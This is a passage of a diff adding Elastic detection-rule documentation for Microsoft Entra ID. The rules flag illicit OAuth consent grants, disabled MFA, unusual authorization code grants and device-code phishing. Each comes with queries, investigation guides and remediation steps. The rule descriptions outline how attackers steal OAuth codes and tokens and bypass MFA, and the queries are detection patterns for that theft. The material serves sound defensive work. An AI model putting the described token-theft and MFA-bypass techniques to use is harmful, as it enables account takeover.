Microsoft Entra ID for the purpose of requesting user consent to access resources. This is accomplished by tricking a user into granting consent to the application, typically via a pre-made phishing URL. This establishes an OAuth grant that allows the malicious client applocation to access resources on-behalf-of the user. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 8m + +*Searches indices from*: now-7d ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.wiz.io/blog/midnight-blizzard-microsoft-breach-analysis-and-best-practices +* https://docs.microsoft.com/en-us/microsoft-365/security/office-365-security/detect-and-remediate-illicit-consent-grants?view=o365-worldwide +* https://www.cloud-architekt.net/detection-and-mitigation-consent-grant-attacks-azuread/ +* https://docs.microsoft.com/en-us/defender-cloud-apps/investigate-risky-oauth#how-to-detect-risky-oauth-apps + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Initial Access +* Tactic: Credential Access + +*Version*: 220 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID Illicit Consent Grant via Registered Application* + + +Adversaries may register a malicious application in Microsoft Entra ID and trick users into granting excessive permissions via OAuth consent. These applications can access sensitive data—such as mail, profiles, or files—on behalf of the user once consent is granted. This is commonly delivered via spearphishing links that prompt users to approve permissions for seemingly legitimate applications. + +This rule identifies a new consent grant event based on Azure audit logs where a user or admin granted consent to an application. + +This rule uses ES|QL aggregation-based new terms logic with a 7-day history window. It extracts the AppId from the multi-valued additional_details array using MV_EXPAND and UUID regex filtering, then alerts when the user-application pair is first seen within the last 9 minutes OR when Microsoft flags the consent as a "Risky application detected". + + +*Possible investigation steps* + + +- Review `azure.auditlogs.properties.additional_details.value` to identify the AppId and User-Agent values to determine which application was granted access and how the request was initiated. Pivot on the AppId in the Azure portal under Enterprise Applications to investigate further. +- Review `azure.auditlogs.properties.initiated_by.user.userPrincipalName` to identify the user who approved the application. Investigate their recent activity for signs of phishing, account compromise, or anomalous behavior during the timeframe of the consent. +- Review `azure.auditlogs.properties.initiated_by.user.ipAddress` to assess the geographic source of the consent action. Unexpected locations or IP ranges may indicate adversary-controlled infrastructure. +- Review `azure.auditlogs.properties.target_resources.display_name` to evaluate whether the application name is familiar, expected, or potentially spoofing a known service. +- Review `azure.auditlogs.properties.target_resources.modified_properties.display_name` to inspect key indicators of elevated privilege or risk, including: + - ConsentContext.IsAdminConsent to determine if the application was granted tenant-wide admin access. + - ConsentContext.OnBehalfOfAll to identify whether the app was granted permissions on behalf of all users in the tenant. + - ConsentAction.Permissions to evaluate the specific scopes and data access the application requested. + - ConsentAction.Reason to understand if Microsoft flagged the activity or if any reason was recorded by the platform. + - TargetId.ServicePrincipalNames to confirm the service principal associated with the granted permissions. +- Review `azure.tenant_id` to confirm the activity originated from your tenant and is not related to a cross-tenant application. +- Review `@timestamp` and `azure.auditlogs.properties.correlation_id` to pivot into related sign-in, token usage, or application activity for further context. + + +*False positive analysis* + + +- Some applications may request high-privilege scopes for legitimate purposes. Validate whether the application is verified, developed by Microsoft, or approved internally by your organization. +- Review publisher verification, app ownership, and scope alignment with the intended business use case. + + +*Response and remediation* + + +- Revoke the application’s OAuth grant using Graph API or PowerShell. Use the Remove-AzureADOAuth2PermissionGrant cmdlet. +- Remove the associated service principal from Azure AD. +- Reset credentials or revoke tokens for affected users. +- Block the application via Conditional Access or Defender for Cloud Apps policies. +- Enable the Admin Consent Workflow in Azure AD to prevent unsanctioned user approvals in the future. +- Report any malicious applications to Microsoft to protect other tenants. + + +==== Rule query + + +[source, js] +---------------------------------- +FROM logs-azure.auditlogs-* metadata _id, _version, _index +| WHERE (azure.auditlogs.operation_name == "Consent to application" + OR event.action == "Consent to application") + AND event.outcome == "success" + +| MV_EXPAND azure.auditlogs.properties.additional_details.value +| WHERE azure.auditlogs.properties.additional_details.value + RLIKE "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" +| RENAME azure.auditlogs.properties.additional_details.value AS Esql.app_id + +| STATS + Esql.timestamp_first_seen = MIN(@timestamp), + Esql.timestamp_last_seen = MAX(@timestamp), + Esql.app_display_name_values = VALUES(`azure.auditlogs.properties.target_resources.0.display_name`), + Esql.service_principal_id_values = VALUES(`azure.auditlogs.properties.target_resources.0.id`), + Esql.is_admin_consent_values = VALUES(`azure.auditlogs.properties.target_resources.0.modified_properties.0.new_value`), + Esql.is_app_only_values = VALUES(`azure.auditlogs.properties.target_resources.0.modified_properties.1.new_value`), + Esql.on_behalf_of_all_values = VALUES(`azure.auditlogs.properties.target_resources.0.modified_properties.2.new_value`), + Esql.consent_context_tags_values = VALUES(`azure.auditlogs.properties.target_resources.0.modified_properties.3.new_value`), + Esql.consent_permissions_values = VALUES(`azure.auditlogs.properties.target_resources.0.modified_properties.4.new_value`), + Esql.consent_reason_values = VALUES(`azure.auditlogs.properties.target_resources.0.modified_properties.5.new_value`), + Esql.user_id_values = VALUES(azure.auditlogs.properties.initiated_by.user.id), + Esql.ip_address_values = VALUES(azure.auditlogs.properties.initiated_by.user.ipAddress), + Esql.tenant_id_values = VALUES(azure.tenant_id), + Esql.correlation_id_values = VALUES(azure.auditlogs.properties.correlation_id), + Esql.event_count = COUNT(*) + BY azure.auditlogs.properties.initiated_by.user.userPrincipalName, Esql.app_id + +| WHERE Esql.timestamp_first_seen >= NOW() - 9 minutes + OR Esql.consent_reason_values LIKE "*Risky application detected*" +| KEEP Esql.*, azure.* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Technique: +** Name: Trusted Relationship +** ID: T1199 +** Reference URL: https://attack.mitre.org/techniques/T1199/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-mfa-disabled-for-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-mfa-disabled-for-user.asciidoc new file mode 100644 index 0000000000..8a22a3e8c3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-mfa-disabled-for-user.asciidoc @@ -0,0 +1,153 @@ +[[prebuilt-rule-8-19-20-entra-id-mfa-disabled-for-user]] +=== Entra ID MFA Disabled for User + +Identifies when multi-factor authentication (MFA) is disabled for an Entra ID user account. An adversary may disable MFA for a user account in order to weaken the authentication requirements for the account. + +*Rule type*: query + +*Rule indices*: + +* logs-azure.auditlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Audit Logs +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Persistence + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID MFA Disabled for User* + + +Multi-factor authentication is a process in which users are prompted during the sign-in process for an additional form of identification, such as a code on their cellphone or a fingerprint scan. + +If you only use a password to authenticate a user, it leaves an insecure vector for attack. If the password is weak or has been exposed elsewhere, an attacker could be using it to gain access. When you require a second form of authentication, security is increased because this additional factor isn't something that's easy for an attacker to obtain or duplicate. + +For more information about using MFA in Microsoft Entra ID, access the https://docs.microsoft.com/en-us/azure/active-directory/authentication/concept-mfa-howitworks#how-to-enable-and-use-azure-ad-multi-factor-authentication[official documentation]. + +This rule identifies the deactivation of MFA for an Entra ID user account. This modification weakens account security and can lead to the compromise of accounts and other assets. + + +*Possible investigation steps* + + +- Identify the user account that performed the action and whether it should perform this kind of action. +- Investigate other alerts associated with the user account during the past 48 hours. +- Contact the account and resource owners and confirm whether they are aware of this activity. +- Correlate with Entra ID Sign-In Logs to identify anomalous sign-in attempts following MFA disablement. +- This rule does not identify if the user was removed from a conditional access policy (CAP) with MFA requirements. + - Instead the rule identifies both legacy and modern MFA disablement through user settings. +- Check if this operation was approved and performed according to the organization's change management policy. +- If you suspect the account has been compromised, scope potentially compromised assets by tracking servers, services, and data accessed by the account in the last 24 hours. + + +*False positive analysis* + + +- While this activity can be done by administrators, all users must use MFA. The security team should address any potential benign true positive (B-TP), as this configuration can risk the user and domain. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Reactivate multi-factor authentication for the user. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security defaults https://docs.microsoft.com/en-us/azure/active-directory/fundamentals/concept-fundamentals-security-defaults[provided by Microsoft]. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "azure.auditlogs" and + (azure.auditlogs.operation_name: "Disable Strong Authentication" or + ( + azure.auditlogs.operation_name: "User deleted security info" and + azure.auditlogs.properties.additional_details.key: "AuthenticationMethod" + )) and event.outcome: (Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Sub-technique: +** Name: Multi-Factor Authentication +** ID: T1556.006 +** Reference URL: https://attack.mitre.org/techniques/T1556/006/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-oauth-authorization-code-grant-for-unusual-user-app-and-resource.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-oauth-authorization-code-grant-for-unusual-user-app-and-resource.asciidoc new file mode 100644 index 0000000000..1a251212ee --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-oauth-authorization-code-grant-for-unusual-user-app-and-resource.asciidoc @@ -0,0 +1,208 @@ +[[prebuilt-rule-8-19-20-entra-id-oauth-authorization-code-grant-for-unusual-user-app-and-resource]] +=== Entra ID OAuth Authorization Code Grant for Unusual User, App, and Resource + +Identifies the first occurrence of an OAuth 2.0 authorization code grant flow for a specific combination of client application, target resource, and user principal in Microsoft Entra ID. Developer tools like Azure CLI, Visual Studio Code, and Azure PowerShell accessing Microsoft Graph or legacy Azure AD are flagged for infrequent or first time usage by a user. Additionally, any FOCI (Family of Client IDs) application accessing the deprecated Windows Azure Active Directory for the first time is flagged since this resource is rarely accessed legitimately. This pattern is indicative of OAuth phishing attacks like ConsentFix, where attackers steal authorization codes and exchange them for tokens from attacker controlled infrastructure. + +*Rule type*: new_terms + +*Rule indices*: + +* filebeat-* +* logs-azure.signinlogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://pushsecurity.com/blog/consentfix +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ +* https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-auth-code-flow +* https://github.com/secureworks/family-of-client-ids-research + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Data Source: Microsoft Entra ID Sign-in Logs +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Initial Access +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID OAuth Authorization Code Grant for Unusual User, App, and Resource* + + +This New Terms rule detects the first occurrence of an OAuth 2.0 authorization code grant flow for a specific combination of client application ID, target resource ID, and user principal within the last 14 days. When a user has never used a particular app+resource combination and it involves FOCI applications or legacy Azure AD, this may indicate OAuth phishing attacks like ConsentFix. + +The rule is particularly effective at catching attacks where adversaries use stolen OAuth codes with first-party apps to access resources the victim has never accessed before. For example, if a non-developer suddenly uses Azure CLI to access legacy AAD for the first time, this is highly suspicious regardless of other factors. + + +*Possible investigation steps* + + +- Review `azure.signinlogs.properties.user_principal_name` to identify the affected user and determine if they are a developer who would legitimately use these tools. +- Check `azure.signinlogs.properties.app_display_name` to confirm which application was used. Azure CLI or PowerShell access by non-technical users is suspicious. +- Examine `azure.signinlogs.properties.resource_id` to identify the target resource. Legacy AAD (`00000002-0000-0000-c000-000000000000`) access is unusual for most users. +- Analyze `source.ip` and `source.geo.*` for geographic anomalies. ConsentFix attackers exchange codes from different IPs than the victim. +- Review `azure.signinlogs.properties.is_interactive` - if this is a non-interactive sign-in shortly after an interactive one from a different IP, it indicates token replay. +- Correlate with other sign-in events using `azure.signinlogs.properties.session_id` to identify the full OAuth flow sequence. +- Pivot to `azure.graphactivitylogs` to search for subsequent Graph API or AAD API activity from unusual locations. +- Check `azure.auditlogs` for device registration events around the same timeframe. + + +*False positive analysis* + + +- Developers or IT administrators legitimately using Azure CLI, PowerShell, or VS Code for the first time to access specific resources. +- Users onboarding to new development environments or receiving new tooling. +- Automation scripts that run with user-delegated permissions for the first time. +- Consider the user's role and typical activity patterns when evaluating alerts. + + +*Response and remediation* + + +- Contact the user to confirm if they initiated the OAuth flow and used the detected application. +- If unauthorized, immediately revoke all refresh tokens for the user via Microsoft Entra ID. +- Review recent activity from the same `session_id` for signs of data access or enumeration. +- Block the source IP if confirmed malicious. +- Implement Conditional Access policies to restrict OAuth flows for these applications to compliant devices. +- Educate users about OAuth phishing and the risks of pasting authorization codes. + + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset: "azure.signinlogs" and + event.outcome: "success" and + azure.signinlogs.properties.user_type: "Member" and + ( + ( + azure.signinlogs.properties.app_id: ( + "04b07795-8ddb-461a-bbee-02f9e1bf7b46" or + "aebc6443-996d-45c2-90f0-388ff96faa56" or + "1950a258-227b-4e31-a9cf-717495945fc2" + ) and + azure.signinlogs.properties.resource_id: ( + "00000002-0000-0000-c000-000000000000" or + "00000003-0000-0000-c000-000000000000" + ) + ) or + ( + azure.signinlogs.properties.app_id: ( + "00b41c95-dab0-4487-9791-b9d2c32c80f2" or + "1fec8e78-bce4-4aaf-ab1b-5451cc387264" or + "26a7ee05-5602-4d76-a7ba-eae8b7b67941" or + "27922004-5251-4030-b22d-91ecd9a37ea4" or + "4813382a-8fa7-425e-ab75-3b753aab3abb" or + "ab9b8c07-8f02-4f72-87fa-80105867a763" or + "872cd9fa-d31f-45e0-9eab-6e460a02d1f1" or + "af124e86-4e96-495a-b70a-90f90ab96707" or + "2d7f3606-b07d-41d1-b9d2-0d0c9296a6e8" or + "844cca35-0656-46ce-b636-13f48b0eecbd" or + "87749df4-7ccf-48f8-aa87-704bad0e0e16" or + "cf36b471-5b44-428c-9ce7-313bf84528de" or + "0ec893e0-5785-4de6-99da-4ed124e5296c" or + "22098786-6e16-43cc-a27d-191a01a1e3b5" or + "4e291c71-d680-4d0e-9640-0a3358e31177" or + "57336123-6e14-4acc-8dcf-287b6088aa28" or + "57fcbcfa-7cee-4eb1-8b25-12d2030b4ee0" or + "66375f6b-983f-4c2c-9701-d680650f588f" or + "a40d7d7d-59aa-447e-a655-679a4107e548" or + "a569458c-7f2b-45cb-bab9-b7dee514d112" or + "b26aadf8-566f-4478-926f-589f601d9c74" or + "c0d2a505-13b8-4ae0-aa9e-cddd5eab0b12" or + "d326c1ce-6cc6-4de2-bebc-4591e5e13ef0" or + "e9c51622-460d-4d3d-952d-966a5b1da34c" or + "eb539595-3fe1-474e-9c1d-feb3625d1be5" or + "ecd6b820-32c2-49b6-98a6-444530e5a77a" or + "f05ff7c9-f75a-4acd-a3b5-f4b6a870245d" or + "f44b1140-bc5e-48c6-8dc0-5cf5a53c0e34" or + "be1918be-3fe3-4be9-b32b-b542fc27f02e" or + "cab96880-db5b-4e15-90a7-f3f1d62ffe39" or + "d7b530a4-7680-4c23-a8bf-c52c121d2e87" or + "dd47d17a-3194-4d86-bfd5-c6ae6f5651e3" or + "e9b154d0-7658-433b-bb25-6b8e0a8a7c59" + ) and + azure.signinlogs.properties.resource_id: "00000002-0000-0000-c000-000000000000" + ) + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ +* Technique: +** Name: Trusted Relationship +** ID: T1199 +** Reference URL: https://attack.mitre.org/techniques/T1199/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Use Alternate Authentication Material +** ID: T1550 +** Reference URL: https://attack.mitre.org/techniques/T1550/ +* Sub-technique: +** Name: Application Access Token +** ID: T1550.001 +** Reference URL: https://attack.mitre.org/techniques/T1550/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-oauth-device-code-flow-with-concurrent-sign-ins.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-oauth-device-code-flow-with-concurrent-sign-ins.asciidoc new file mode 100644 index 0000000000..94787f9699 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-oauth-device-code-flow-with-concurrent-sign-ins.asciidoc @@ -0,0 +1,160 @@ +[[prebuilt-rule-8-19-20-entra-id-oauth-device-code-flow-with-concurrent-sign-ins]] +=== Entra ID OAuth Device Code Flow with Concurrent Sign-ins + +Identifies Entra ID device code authentication flows where multiple user agents are observed within the same session. This pattern is indicative of device code phishing, where an attacker's polling client (e.g., Python script) and the victim's browser both appear in the same authentication session. In legitimate device code flows, the user authenticates via browser while the requesting application polls for tokens - when these have distinctly different user agents (e.g., Python Requests vs Chrome), it may indicate the code was phished and redeemed by an attacker. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://learn.microsoft.com/en-us/entra/identity/ +* https://learn.microsoft.com/en-us/entra/identity/monitoring-health/concept-sign-ins +* https://docs.microsoft.com/en-us/azure/active-directory/reports-monitoring/reference-azure-monitor-sign-ins-log-schema +* https://www.volexity.com/blog/2025/04/22/phishing-for-codes-russian-threat-actors-target-microsoft-365-oauth-workflows/ +* https://www.wiz.io/blog/recent-oauth-attacks-detection-strategies + +*Tags*: + +* Domain: Cloud +* Domain: Identity +* Data Source: Azure +* Data Source: Entra ID +* Data Source: Entra ID Sign-in +* Use Case: Identity and Access Audit +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Entra ID OAuth Device Code Flow with Concurrent Sign-ins* + + + +*Possible investigation steps* + + +- Review the sign-in logs to assess the context and reputation of the source.ip address. +- Investigate the user account associated with the successful sign-in to determine if the activity aligns with expected behavior or if it appears suspicious. +- Check for any recent changes or anomalies in the user's account settings or permissions that could indicate compromise. +- Review the history of sign-ins for the user to identify any patterns or unusual access times that could suggest unauthorized access. +- Assess the device from which the sign-in was attempted to ensure it is a recognized and authorized device for the user. + + +*Response and remediation* + + +- Immediately revoke the compromised Primary Refresh Tokens (PRTs) to prevent further unauthorized access. This can be done through the Azure portal by navigating to the user's account and invalidating all active sessions. +- Enforce a password reset for the affected user accounts to ensure that any credentials potentially compromised during the attack are no longer valid. +- Implement additional Conditional Access policies that require device compliance checks and restrict access to trusted locations or devices only, to mitigate the risk of future PRT abuse. +- Conduct a thorough review of the affected accounts' recent activity logs to identify any unauthorized actions or data access that may have occurred during the compromise. +- Escalate the incident to the security operations team for further investigation and to determine if there are any broader implications or additional compromised accounts. +- Enhance monitoring by configuring alerts for unusual sign-in patterns or device code authentication attempts from unexpected locations or devices, to improve early detection of similar threats. +- Coordinate with the incident response team to perform a post-incident analysis and update the incident response plan with lessons learned from this event. + +==== Setup + + + +*Required Azure Entra Sign-In Logs* + +This rule requires the Azure logs integration be enabled and configured to collect all logs, including sign-in logs from Entra. In Entra, sign-in logs must be enabled and streaming to the Event Hub used for the Azure logs integration. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-azure.signinlogs-* metadata _id, _version, _index + +| where event.category == "authentication" and event.dataset == "azure.signinlogs" and + azure.signinlogs.properties.original_transfer_method == "deviceCodeFlow" + +// Track events with deviceCode authentication protocol (browser auth) vs polling client +| eval is_device_code_auth = case(azure.signinlogs.properties.authentication_protocol == "deviceCode", 1, 0) + +| stats Esql.count_logon = count(*), + Esql.device_code_auth_count = sum(is_device_code_auth), + Esql.timestamp_values = values(@timestamp), + Esql.source_ip_count_distinct = count_distinct(source.ip), + Esql.user_agent_count_distinct = count_distinct(user_agent.original), + Esql.user_agent_values = values(user_agent.original), + Esql.authentication_protocol_values = values(azure.signinlogs.properties.authentication_protocol), + Esql.azure_signinlogs_properties_client_app_values = values(azure.signinlogs.properties.app_display_name), + Esql.azure_signinlogs_properties_app_id_values = values(azure.signinlogs.properties.app_id), + Esql.azure_signinlogs_properties_resource_display_name_values = values(azure.signinlogs.properties.resource_display_name), + Esql.azure_signinlogs_properties_auth_requirement_values = values(azure.signinlogs.properties.authentication_requirement), + Esql.azure_signinlogs_properties_tenant_id = values(azure.tenant_id), + Esql.azure_signinlogs_properties_status_error_code_values = values(azure.signinlogs.properties.status.error_code), + Esql.message_values = values(message), + Esql.azure_signinlogs_properties_resource_id_values = values(azure.signinlogs.properties.resource_id), + Esql.source_ip_values = values(source.ip) + by azure.signinlogs.properties.session_id, azure.signinlogs.identity + +// Require: 2+ events, at least one deviceCode auth protocol event, and either 2+ IPs or 2+ user agents +| where Esql.count_logon >= 2 and Esql.device_code_auth_count >= 1 and (Esql.source_ip_count_distinct >= 2 or Esql.user_agent_count_distinct >= 2) +| keep + Esql.*, + azure.signinlogs.properties.session_id, + azure.signinlogs.identity + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Technique: +** Name: Phishing +** ID: T1566 +** Reference URL: https://attack.mitre.org/techniques/T1566/ +* Sub-technique: +** Name: Spearphishing Link +** ID: T1566.002 +** Reference URL: https://attack.mitre.org/techniques/T1566/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-oauth-device-code-grant-by-microsoft-authentication-broker.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-oauth-device-code-grant-by-microsoft-authentication-broker.asciidoc new file mode 100644 index 0000000000..3a6fe94727 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-entra-id-oauth-device-code-grant-by-microsoft-authentication-broker.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-20-entra-id-oauth-device-code-grant-by-microsoft-authentication-broker]] +=== Entra ID OAuth Device Code Grant by Microsoft Authentication Broker + +Identifies device code authentication with an Azure broker client for Entra ID. Adversaries abuse Primary Refresh Tokens (PRTs) to bypass multi-factor authentication (MFA) and gain unauthorized access to Azure resources. PRTs are used in Conditional Access policies to enforce device-based controls. Compromising PRTs allows attackers to bypass these policies and gain unauthorized access. This rule detects successful sign-ins using device code authentication with the Entra ID broker client application ID (29d9ed98-a469-4536-ade2-f981bc1d605e). + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-azure.signinlogs-* +* logs-azure.activitylogs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://dirkjanm.io/assets/raw/Phishing%20the%20Phishing%20Resistant.pdf +* https://learn.microsoft.com/en-us/troubleshoot/azure/entra/entra-id/governance/verify-first-party-apps-sign-in +* https://learn.microsoft.com/en-us/azure/azure-monitor/reference/tables/signinlogs + +*Tags*: + +* Domain: Cloud +* Data Source: Azure +* Data Source: Microsoft Entra ID +* Use Case: Identity and Access Audit +* Tactic: Initial Access +* Resources: Investigation Guide + +*Version*: 7 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Entra ID OAuth Device Code Grant by Microsoft Authentication Broker* + + +Entra ID Device Code Authentication allows users to authenticate devices using a code, facilitating seamless access to Azure resources. Adversaries exploit this by compromising Primary Refresh Tokens (PRTs) to bypass multi-factor authentication and Conditional Access policies. The detection rule identifies unauthorized access attempts by monitoring successful sign-ins using device code authentication linked to a specific broker client application ID, flagging potential misuse. + + +*Possible investigation steps* + + +- Review the sign-in logs to confirm the use of device code authentication by checking the field azure.signinlogs.properties.authentication_protocol for the value deviceCode. +- Verify the application ID involved in the sign-in attempt by examining azure.signinlogs.properties.conditional_access_audiences.application_id and ensure it matches 29d9ed98-a469-4536-ade2-f981bc1d605e. +- Investigate the user account associated with the successful sign-in to determine if the activity aligns with expected behavior or if it appears suspicious. +- Check for any recent changes or anomalies in the user's account settings or permissions that could indicate compromise. +- Review the history of sign-ins for the user to identify any patterns or unusual access times that could suggest unauthorized access. +- Assess the device from which the sign-in was attempted to ensure it is a recognized and authorized device for the user. + + +*False positive analysis* + + +- Legitimate device code authentication by trusted applications or users may trigger the rule. Review the application ID and user context to confirm legitimacy. +- Frequent access by automated scripts or services using device code authentication can be mistaken for unauthorized access. Identify and document these services, then create exceptions for known application IDs. +- Shared devices in environments with multiple users may cause false positives if device code authentication is used regularly. Implement user-specific logging to differentiate between legitimate and suspicious activities. +- Regular maintenance or updates by IT teams using device code authentication might be flagged. Coordinate with IT to schedule these activities and temporarily adjust monitoring rules if necessary. +- Ensure that any exceptions or exclusions are regularly reviewed and updated to reflect changes in the environment or application usage patterns. + + +*Response and 